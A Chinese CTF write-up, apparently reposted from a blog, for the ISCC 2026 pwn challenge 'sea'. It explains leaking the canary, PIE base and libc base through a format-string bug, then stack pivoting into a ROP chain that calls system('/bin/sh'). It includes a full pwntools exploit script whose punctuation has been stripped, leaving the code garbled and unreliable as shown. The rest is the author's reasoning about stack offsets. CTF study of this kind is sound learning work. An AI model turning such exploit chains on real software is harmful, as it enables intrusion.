iscc_擂台赛_sea

📅 2026/7/2 4:02:01
iscc_擂台赛_sea
ISCC-pwn2026-CSDN博客思路是在这位博客上get的查看一下文件的保护措施 又有canary 还有pie 需要泄露的有点多啊格式化字符串漏洞那就好解决了但是read(0, buf, 0x7Cu》104124溢出并不够我们构造rop链啊那就考虑一下栈迁移。只是在本地调试学习下面是我有了改动的的东西。from pwn import * pprocess(./sea) context(archamd64,oslinux,log_leveldebug) libcELF(/lib/x86_64-linux-gnu/libc.so.6) elfELF(./sea) p.recvuntil(b) p.sendline(b%15$p%13$p%21$p%17$p) #p.recvuntil(b0x) #canaryint(p.recv(16),16) #print(hex(canary)) data p.recvline().split(b0x) rbp int(data[1],16) leakint(data[2],16) canary int(data[3],16) main int(data[4],16) gdb.attach(p) print(frbp {hex(rbp)}) print(flibc{hex(leak)}) print(fcanary{hex(canary)}) print(fr13{hex(main)}) basemain-(0x13cc) rdi0x1483base leve_ret0x130bbase libc_baseleak-libc.symbols.setvbuf-245 print(hex(libc_base)) ret0x101abase sys0x130dbase p.recvuntil(b) pay(p64(rdi)p64(next(libc.search(b/bin/sh))libc_base)p64(libc.symbols.systemlibc_base)p64(main)).ljust(0x68,ba)p64(canary)p64(rbp)p64(leve_ret) print(len(pay)) p.send(pay) p.interactive()就一直困扰我的就是泄露那些除了canary之外的其他东西。canary偏移好测buf104/813然后再通过程序的漏洞看输入到输出的偏移从下面看出来是8所以canary就在21处印象里rbp不是应该在canary后吗为啥他的偏移是15嘞。从下面看 rsi是我们输入进栈的第一个位置rbp就在他下面15处至于 13处的libc和17处的main 都是泄露出地址后 在栈上看见的不是刻意想知道哪个我们的目的是找到基址。能泄露知道泄露的是啥那就能达到目的